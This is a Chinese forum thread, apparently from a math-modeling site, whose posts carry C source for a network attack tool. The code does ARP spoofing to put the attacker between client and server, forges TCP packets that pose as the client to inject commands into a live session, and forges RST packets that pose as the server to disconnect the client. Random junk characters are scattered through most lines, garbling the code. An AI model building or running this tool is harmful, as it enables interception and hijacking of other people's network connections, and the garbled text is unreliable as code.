  PCONNINFO  pNew, pTmp; : f& v" O# e$ N2 S) y' `

0 O1 u% z5 F9 o  pTmp = g_pConnHead; : v5 `3 \4 F1 ]8 M! E( N. X
  while(pTmp)
5 v* b' S2 K- K1 W  {
. k+ m% c! w( W( n7 t    if(pTmp-&gt;bActive) 2 Y# n6 G7 g7 p
    {
, u6 N+ \: r6 R      //found it : c9 l* y: l$ j
      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp; # W1 p8 A# {, f) ~0 s- P
        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp; $ K! d8 P: V+ `/ s* ?$ h1 P
        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp; ! \) O( Z+ d0 z8 p$ I
        (pTmp-&gt;uClientPort == uClientPort) ) 5 _9 `# D  A' _  p* w
      {
' z2 h& K  B. C8 U        if(bDelete)
% L  T9 W+ s' a1 o* h        { + N+ b4 e# m& O6 S
          pTmp-&gt;bActive = FALSE; 3 G+ F) m$ w; E6 R
          return 0;
' f, H3 L, x/ G; }# q9 j) e        }
2 }: B. v6 Y' F        else return pTmp-&gt;ident; + X' E1 c* U1 m7 b% O9 }
      } : h7 [8 g3 A. N: E% p  h" ~
    }
- m8 t; f  ^% S- K2 Q    pTmp = pTmp-&gt;Next; % p7 y1 ?; x# N+ B4 ?: _: r4 A
  } ( r) {$ Z/ Y/ _/ l' m7 G0 p
  //not found, create new node & K; p) ~; D1 ~" {7 M0 p; g4 ]
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) ) ( z$ N( w. Y3 L! e/ Z9 f" r/ s
  {
1 g& @6 @1 _" [3 L2 h3 k* h8 f, b    //search unactive note
, v/ O" J. M  F3 ?4 d8 [    pTmp = g_pConnHead;
7 X! H: S6 ]; O* [+ Z9 M    while(pTmp)
5 E' R9 t0 I3 \5 I! S" n) P0 |' g    {
4 @% r, F  A) }) b4 @      if(!pTmp-&gt;bActive) break; % w8 S- v% _- e$ x
      pTmp = pTmp-&gt;Next;
# \; o9 P5 l# o9 T! ^4 C" K( s    } % _' Z; ~+ n6 O( h
    //found a unactive node 4 r* a; S; |$ ~' \7 X
    if(pTmp) : c2 a' c6 H. H
    { 9 H7 {1 }$ @- P) N/ u1 j
      pTmp-&gt;dwServerIP = dwServerIP; 2 S% ^" P- _! n" p# I
      pTmp-&gt;uServerPort = uServerPort;
8 H  x- I7 X0 ?% Z. B+ q' x      pTmp-&gt;dwClientIP = dwClientIP; $ p: d+ ~- B$ D8 h+ U
      pTmp-&gt;uClientPort = uClientPort;
& y# [7 G5 h! |6 A+ u# A) S      pTmp-&gt;bActive = TRUE; ( Y8 Q/ Q' X6 v. m; p
      return pTmp-&gt;ident;
' d0 e6 ^8 q; Y' H8 v& B3 c: i    } . _9 G1 O% D' h2 w8 b
    //not found,create new node
: S" d* u) o6 b( l. F) C+ N5 y    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
/ Z1 {7 L0 z2 I% S" L/ L8 i    if(!pNew) % m! ~( y; a& A4 L. J8 W
    { " [9 v# c* f, v5 f" o( U/ M& ^5 ^
      printf("malloc for link node error:%d\n", GetLastError()); , G+ b+ L5 q4 r0 n
      return 0; 9 |2 a3 o* d$ C5 V. H! R
    } % h7 K6 F- ?. `/ P2 i& u
    //fill the struct
$ o* B* I0 V" X! R8 T% R6 N" n6 v    pNew-&gt;bActive = TRUE;
9 ]- A, K# n  E4 h0 d    pNew-&gt;dwServerIP = dwServerIP;
8 e9 y* T& u2 h    pNew-&gt;uServerPort = uServerPort; , f, p3 |' R1 w; ?0 @' ?
    pNew-&gt;dwClientIP = dwClientIP;
9 M# b% R% T: s: j- A8 ]    pNew-&gt;uClientPort = uClientPort; 9 J1 e* {( g1 a+ b- o
    pNew-&gt;ident = ++g_ident; 4 F  M/ }3 r1 N  x
    pNew-&gt;Next = NULL;
/ w  S! t% u( i2 L+ n# i    //add new node to link 3 t( x4 i. V( ~- V
    if(!g_pConnHead) 9 Z- a3 P# b7 H3 ^% e7 r9 E
      g_pConnHead = g_pConnLast = pNew;
8 W) o* `+ o! e- Z    else
3 R' r, K& o( D$ S2 h- q" p( ~    { ! u6 H9 F; S2 F$ V! G6 v" l- k
      g_pConnLast-&gt;Next = pNew; $ \) Z0 J. }9 d$ u6 _" T
      g_pConnLast = pNew; & A& I4 Z- m3 ~+ X4 c& {) W
    }
9 L+ ?; A" c# O6 u    return pNew-&gt;ident; 1 |5 J; v. ^0 R6 [# o  Y
  } 0 h8 d$ j! ?2 U4 U3 Q8 ^- M( d! v
  return 0; $ R' J% V$ X- J
}
0 q& f- K* |$ i9 G0 ]
+ H# G# m% |( m3 b6 N! k//
3 M* q  O( I  o* L9 E9 A: ~//功能:判断一个数据包是不是只有ACK标志 , G% W  P# A1 @- B/ i6 ]- M
// ; Q( v$ x5 Y+ |* @+ D* t+ _; h. c
BOOL IsACKPacket(unsigned char flag)
  b8 w! h! q. r8 q. m( z{ ! n3 ?2 C" n3 L/ Y- y6 k
  int  i, j=1; - {4 _7 N( ]+ c4 }1 C  K, g5 ^, n. [
  for(i=0 ; i&lt;4; i++)
. B( ?* m$ w4 c- ]7 P" D  { * A4 A9 T! P+ o; W9 B
    if(flag &amp; j) return FALSE;
1 D# X  @( l: X) D, q    j &lt;&lt;= 1; " K) j/ S9 ^6 b' K6 V/ D( P- J
  }
, `, R4 `( S; m. k7 A5 X  if(!(flag &amp; 0x10)) return FALSE;//is ack?
3 [# K  t; W! [$ Z1 s- t  if(flag &amp; 0x20) return FALSE;
' n2 M7 I7 f* g! ]9 a; J  return TRUE;
, ?! M% N* b& ]! f. c5 o} ! \) O& B6 e( J# ]( f8 e

) {- l. R8 Y$ O" O//
! l. f6 |! c# I3 C5 h' _1 J//功能:伪装成Client给Server发送数据包 ' ?7 j0 x9 j8 I
//
- l; X- Q8 s6 W) J4 c* RBOOL SendHiJackPacket(PTCPPACKET pTempletPacket) * E1 L) B1 O7 I. d6 I# S
{ " o) l6 O' O+ H! N3 o# i: y3 w9 w
: w0 K* i& A: T9 K
  char    szBuff[1520]; ; G3 w6 f; d# j4 x* R
  PSDHDR    psdhdr;   `! E0 b) d; E
  PTCPPACKET  pHiJackPacket = NULL;
2 l1 ^) b7 Q+ H+ y  BOOL    bRet = FALSE; 4 \1 a0 N3 N# |0 y* V1 u. ]- T6 _
9 R& l% ~7 B, N* f& L
  __try
- |5 w& v( r* m% J# D  x  {
+ k  r0 c- F5 H# u, W    //
! @- T: [# p! F9 ]+ Y    if(!g_pCurrCtrlConn) __leave;
+ `* f& a8 {/ c% \' m    //allocate memory for hijack packet / v. u' Q' R8 Y2 q1 y1 M
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); 6 l5 `9 H1 ]6 a& n9 {' G! s, D
    if(!pHiJackPacket)
7 U. _  r2 \; z  }  |! |    {
1 T$ o# i' v3 Q+ n  `9 Q      printf("malloc error:%d\n", GetLastError()); - X$ S. h5 M  Y2 N% I! r
      __leave;
/ M* @- e7 W4 p& a    }
/ N3 X* A& m# I# ^    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); / U* x& j. y* ~; _
    //-------------- modify the packet ---------------//
- v0 m  I1 h$ |$ d* x! c, a% i    //modify ethernet head
% f4 h# ?# o2 |6 p  C2 |# R5 w    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
6 [6 J, v# f" u1 Y    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); : G9 W$ [/ b; _) R2 Q3 O4 P
    //modify ip head
: T6 O% i3 `/ _$ N6 ~$ ^4 x    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); ' T& L$ f1 T1 f4 v
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
; {8 a% F9 ?$ P0 p    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1 ( i5 ?( q" M7 h; D
    pHiJackPacket-&gt;iphdr.checksum = 0;
1 |8 {  c+ d3 F, z1 `    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client
6 M7 l; q7 f; Q/ j% g3 y4 n0 T    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址
! _' Q# `: C7 D4 j0 q. N    //modify tcp head 0 J. x1 _  ~: x8 Y
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
4 \8 U5 H  h; m  Z6 w' D    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
5 ~% C1 L8 m4 O3 ]% G, n/ G/ f    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0); 1 \+ o$ l: h3 K( p1 F
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
- |. P2 P3 x" C# v; {, r    pHiJackPacket-&gt;tcphdr.th_sum = 0;
: J" Z1 Y& H+ r( K6 o1 _    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
! F% n0 o' V2 J1 @) j& p    //fill tcp psd head $ m! _- q, m5 x" S6 x4 W/ K
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
7 M5 |+ z  ~; [/ W0 V+ c. n    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           ' f+ _0 Y9 A5 l
    psdhdr.mbz = 0; ( C! q8 {- o$ J5 _
    psdhdr.ptcl = IPPROTO_TCP; ' e8 `" \5 [! h& G6 `6 R' s
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
2 B  A% R4 k$ e: A    //calculate tcp checksum     : T# Q1 X. _/ z! l# w
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   5 [% k' x) F6 T0 K5 ~. }
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
9 m6 }0 H: i+ ?    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
/ R( d7 j6 f$ R- h/ Z. [2 y. p    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
3 R2 l' W% j' v3 R    //calculate IP checksum
  b7 P! z: ]: J    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR)); , q5 U1 V7 ]4 J# g( r( y: q. g! k
    //fill send buffer           * A9 p$ r  v0 n" \
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
$ G) a9 p0 E* v) n* S    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand)); " T: x: s- [) H$ J4 x3 f  l
    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); ' t; d3 @5 {* P$ K# c
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
8 N. A9 `. r& v    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); 7 E2 ~' {  Z, q7 d  P" @
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) 2 b3 s3 N, [: \$ D& c! A
    { 7 w" n& v+ o  q/ m
      printf("Error sending the hijack packets!\n");
/ P; M! A; P  A3 V; D% j1 ]      __leave; $ {$ c$ D( }1 y2 D
    } 9 J3 w# O/ i9 b7 F  P: t4 D
    else printf("Send hijack packet ok!\n");
. v/ ^" @4 H" |. b( x, R- ^    bRet = TRUE; 9 m* S& Z+ |, u- W! x/ P
  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally
8 h9 B- K0 T1 ]# }  {
( m& _# `: g, o* e3 K; |    if(pHiJackPacket) free(pHiJackPacket); / |: \( p, c% S6 J- o& k- y# e5 S! f
  } / D1 G8 y+ }) }& L& U0 r2 h1 v/ [
  return bRet; 1 O  a0 i% N( e' y1 [/ C# ?# \
} / @/ J. }1 u" [2 F+ Y
! E0 E# c5 M7 ^8 j* i- R
$ ]6 d- v9 Q6 [/ E2 ~
//
! U  ?' n7 j4 J$ F" Q//功能:伪装成Server给Client发送rst包   K- ?, H2 x# P9 Z  |6 t: U6 e! D
// 1 @8 O) I# F5 X! P
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
5 ~* B/ I4 @! |# T{ 0 C: {; V! L3 [+ C7 w
  char    szBuff[60];
" c; Q% A; n: U! y* Q  PSDHDR    psdhdr; " d; F' Q: j  o" ?, O, }
  PTCPPACKET  pTcpPacket = NULL; ! }5 [! t* p% {3 q; {
  BOOL    bRet = FALSE;
) I' j" n4 q$ P3 o1 U- O$ k2 A* W6 E9 z" c* A3 [2 v
  __try : U7 c: z% o3 d3 A2 A" i
  { 6 p+ ]9 h+ g: T8 T2 j# k1 D" |( N$ {
    //检查当前指向想控制的连接的信息的指针是否为空 8 o0 x( }$ D6 N# ~+ I
    if(!g_pCurrCtrlConn) __leave;
: X% o0 d& s: p; P# i    //allocate memory for rst packet
) _4 r+ A, m: v  R- n    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
  Z2 K: d( m8 f/ M    if(!pTcpPacket)
: t6 @, p7 o  v1 K  X    { + {) G' o, N' X! z- h5 ]
      printf("malloc error:%d\n", GetLastError());
  z; {9 t) j. n      __leave; 3 I2 N, ]( c( M6 W: H
    } " M9 Y+ |3 w  I* W; _8 ^0 C
    //fill ethernet head
( |8 f6 I% r' J1 c& D6 \: E    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
4 [5 s/ c) [" K$ Y1 i! V) x0 f+ I3 A    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
6 A( s3 ?9 b3 [8 i2 e    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP); 3 f% v# A) C. I( x! _4 A& ]" v; Q2 ?
    //fil ip head ) T7 D. {. v( X% M2 K# ~6 ^
    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
' s+ l. B1 c1 b  u$ p    pTcpPacket-&gt;iphdr.tos = 0;
) d8 G/ V# @% j1 F( t" w    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
/ Q$ D& I: I, q. `# E    pTcpPacket-&gt;iphdr.ident = 1;
1 _. T- y3 |* B' F8 @2 c4 Z: w    pTcpPacket-&gt;iphdr.frag_and_flags = 0; " K- ?6 s2 y+ q
    pTcpPacket-&gt;iphdr.ttl = 128; - v; O5 r2 A$ N4 O6 R( X& M
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP; # }1 b! q7 c& `& m9 c
    pTcpPacket-&gt;iphdr.checksum = 0; 6 ^. R2 ^7 {2 \  R
    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的
6 B5 b* s+ j. ^. C, P1 d; a    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
0 V9 Q( V7 Y5 G5 e& H- g1 e    //fill tcp head ! i9 w9 q! ]' s. C
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口
) c2 W$ u2 v. y9 F4 b    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口 . B3 ^/ Q$ T$ l3 @& N5 d$ j4 {* k
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
/ Y* p( W" f7 Z    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK ! w$ I; F, {+ q' t' I8 O
    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0); & D9 O( A2 }/ [' H; F9 w
    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag - P  C; J9 m$ i* n
    pTcpPacket-&gt;tcphdr.th_win = 0; % D* W4 [( c- Q# _
    pTcpPacket-&gt;tcphdr.th_urp = 0; " @' V( m/ I8 Y$ m# I/ k
    pTcpPacket-&gt;tcphdr.th_sum = 0;
; N5 Z+ S6 a, [4 n) Q" J2 E+ c* S    //fill tcp psd head 5 a2 P3 Y' i0 W6 ]7 [  Q( ]3 N, ]3 M" r
    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
/ B4 @8 g7 u! @" P  Q    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
! o# d: ]  v- w4 R    psdhdr.mbz = 0;
; Q# R; x% Z( m7 L5 E6 ~    psdhdr.ptcl = IPPROTO_TCP;
! r( E; R4 k7 Q    psdhdr.tcpl = htons(sizeof(TCPHDR));   J3 b+ m7 S  H6 w3 D
    //calculate tcp checksum     5 z, X# A! y4 w; A) {6 P
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   ! n* c' Z8 X9 X- }. b6 v% Z
    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
$ ?& l! q, A% s# k) ~+ U    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); , @+ y7 {5 N' e
    //calculate IP checksum & K7 |+ e/ z8 F% @
    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR)); ) C: ~- g/ F$ j+ a
    //fill send buffer
( m) H% M9 U6 A! G    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
9 b& L. X; V% @! L: y    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET)); 9 q( n% Q' j% _+ _
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
  h& j' b- z; C    {
) C, V# A5 q, Y$ o5 }) y' F      printf("Error sending the rst packets!\n");
/ \: @+ F* Z5 R      __leave;
8 [) D7 j! f% o; K9 ~* Q" z+ o" a    } : P' q8 @3 F: ?8 @- y! P) b6 e% P
    else printf("Send RST packet ok!\n");
* f. n4 [4 q- w    bRet = TRUE;
. t2 k" A) V+ j7 _  }
5 U0 x  S& c: n% E  __finally 0 |) w+ R! m+ g+ s! t: t; v
  {
8 f* ^; Q7 r) l. @. w$ q    if(pTcpPacket) free(pTcpPacket);
4 F* Z  i9 J& ]  l+ z6 O  } - b2 D" C7 ]# d/ b% w5 a4 g
  return bRet; 9 N, l& E) h3 _
}
0 G, u9 ]7 F7 a  W# p, e2 H2 t: F8 ?! c5 n
//
& c! E( }' r3 a! _//功能:计算校验和
0 }6 b) r  h  M' m6 C/ }//
: N2 t  W3 M/ ^2 I( r+ ^, Z+ _: oUSHORT checksum(USHORT *buffer, int size)
5 F8 ?2 J1 Z( n; ^2 Z3 l{ $ n2 E, n6 c; `
unsigned long cksum=0; 6 x. C7 m3 l0 h4 o. b
while(size &gt;1) {
* {2 i; n) c( M$ R& T( h  cksum+=*buffer++; 2 ^: _( @/ w) t4 m! L: q. D& L8 ]
  size -=sizeof(USHORT);
( N& f: V1 J8 _& j/ u8 _ } - Z' U2 q/ ]6 ?4 _
if(size ) { , ?, N5 H8 k2 e; [, o' s. i  ]
  cksum += *(UCHAR*)buffer;
2 z3 k+ e: Q3 w: i; [( d0 w' X, t( Z } ' z7 i* m  y9 f0 v
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
5 M9 k4 \: g' H& D+ H cksum += (cksum &gt;&gt;16);
7 d! D- w% `0 ~; o* D3 @1 H# U return (USHORT)(~cksum); 1 G# o; q+ K; P2 }: v4 \; h
}
" W8 G5 G: r, F2 z" n( ^: x" o+ q, O
! D: J! ]  C4 i+ n$ r5 S8 H/ p( G) Y" Q// ( p& H8 M% n8 Q  l% C2 O" ^0 t# m3 {
//功能:实施ARP欺骗
- i* U; y5 X9 |# O7 U//1 告诉ServerSide,ClientSide的mac是ownmac # B  k3 G  t/ h% }: L
//2 告诉ClientSide,ServerSide的mac是ownmac
0 f; Y  A, L9 h1 x//
: u7 t( v3 o+ W4 I9 s9 Z  g6 h8 XDWORD WINAPI ArpSpoofThread(LPVOID lpType)
9 d0 U0 m) d# @+ B{
& j. @) e: T# W& L( F  int  iType = *(int *)lpType; ' Z& B0 {1 S8 h: K
  ARPPACKET  ArpPacket; / f) Y9 ]6 J: `( _( D
  LPPACKET  lpArpPacket;
6 J: |* g& c' O5 M- S0 }  char    szArpBuff[60]; - {+ f  g; f0 H
/ A* E7 y& n! T, }- `" G
  switch(iType)
4 @4 ~; S, t' P) A2 g! k3 c  { 7 v% P9 y2 w& |2 `
    case 1: / X0 o, p8 n1 i+ x2 q* t! ^2 E
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
& g6 C) ?# n0 v. q+ x( e' _      ArpPacket.arphdr.DestIP = g_ServerSideIP; ( k- `) X4 f. E: @
      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
  N9 H: m) d0 E, t: l) g      break;
! k; b6 x  l. M- f' x0 \/ u4 ^    case 2: 1 t* ]+ {7 I9 T9 w# G
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6); ; [7 I5 q" k# _3 {
      ArpPacket.arphdr.DestIP = g_ClientSideIP; . O  J. E; R6 a# C
      ArpPacket.arphdr.SourceIP = g_ServerSideIP; 8 f" b/ |! n1 r& N8 V" ^  Z1 p+ W
      break;
5 q# E! O( R5 K. S5 R6 u- {4 a3 W: @    default:
. H; N5 ]( C2 M0 e9 R) }' j      return 0; : b4 ]9 z2 B: x* K; T
  }
1 d  |: E# u9 Q6 p/ F" A! G  //ethernet head & h+ f$ b5 t. B4 N$ Z( W  T
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6); ' W4 }. A  P+ I, X3 r9 f
  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type 9 }- Z( p% s7 r9 [
  //arp head : y5 a5 @; u6 |. C. Y9 n
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac 6 t6 L3 r6 |) Z, t
  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
7 Q- L- i- ]3 K' Z  ArpPacket.arphdr.HrdAddrlen = 6;   u2 F: X5 |: G6 W  R. [, h0 |% j
  ArpPacket.arphdr.ProAddrLen = 4; ' M4 G5 I! V/ S6 O  A
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
) z" x- ~# k/ B4 m8 P; H  ArpPacket.arphdr.ProType = htons(EPT_IP); 1 f% v. ~% ~5 U/ Q
  ArpPacket.arphdr.op = htons(2);//arp reply
7 ?: i% `# e0 U2 ]9 t& [3 o3 G+ @  f5 z' z, C
  lpArpPacket = PacketAllocatePacket();
- n! h3 _$ M! H5 J  if(lpArpPacket == NULL) % L* G+ t. |$ }& n2 H0 N/ _
  { * E2 b* X/ G! o" [2 k
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n"); 4 {7 r# j2 |( y; \
    return 0; ( m, E5 J( D, T3 I8 \
  } * p4 T+ L. `! k$ l% `( C
  memset(szArpBuff, 0, sizeof(szArpBuff));
1 |# E  s6 T) K  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET));
2 w  y2 w) _$ M( f$ u' F7 v  PacketInitPacket(lpArpPacket, szArpBuff, 60);
9 L1 s& U/ L+ N9 n! v  //send arp packet " j9 ?4 `6 e% T* M1 d2 j- D
  while(1)
3 |, Z% `4 Q3 Z! Q1 q( D  { + {% t# Y' \- `* U7 d
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)   k  f3 u9 p  j4 i6 q1 D! p" U0 v
    { ) g; K% y% p9 I8 w# a/ Z
      printf("Error sending the arp spoof packets!\n");
4 I* e4 j( H& X, [; Y+ R      return 0; ) ]! G# s, i6 J3 _
    }
3 C1 w0 `1 ~" U! e7 @  y    Sleep(1000);
3 a( z# g, a. v  }
* o  Q! q" A: e7 b* S8 S9 J" @# a  return 0;
( y' V, x2 h; W} 6 p9 a0 {( ~! C; E1 Z& w
, G/ B7 H1 F" a$ h% [9 v
// ! |6 o1 ~6 F3 @. L
//功能:输入IP取得对应的MAC地址
# U# e) W7 @- \# e( z- m. M- h! @1 l+ ^//
, }: t4 m8 ^- s6 ^* wBOOL GetMACAddr(DWORD DestIP, char *pMAC)
2 n. N  q/ S1 {9 z5 g{ . D% r1 ]6 U; |5 W( ~" g% q
  DWORD  dwRet;
4 R- J4 {. \; a+ W  ULONG  ulLen = 6, pulMac[2];
3 g# A5 H/ y# n* v4 E  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen); 0 _: g& v2 j( X/ a) L* h; I2 j
  if(dwRet == NO_ERROR)
* _6 _+ m5 G4 j+ m  h1 v/ K- c1 \+ J  { & I/ c! o# j8 P& w" {# w2 ?8 m
    memcpy(pMAC, pulMac, 6); 6 f3 N9 v7 b. c" f9 K: s3 Z
    return TRUE;
1 A& @$ l3 o* ~4 O/ ~) M  } : E" D& b+ Y% ^4 w6 Q
  else return FALSE; 7 ~+ L6 [+ V3 i
}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-6-11 04:17 , Processed in 0.553531 second(s), 91 queries .

    回顶部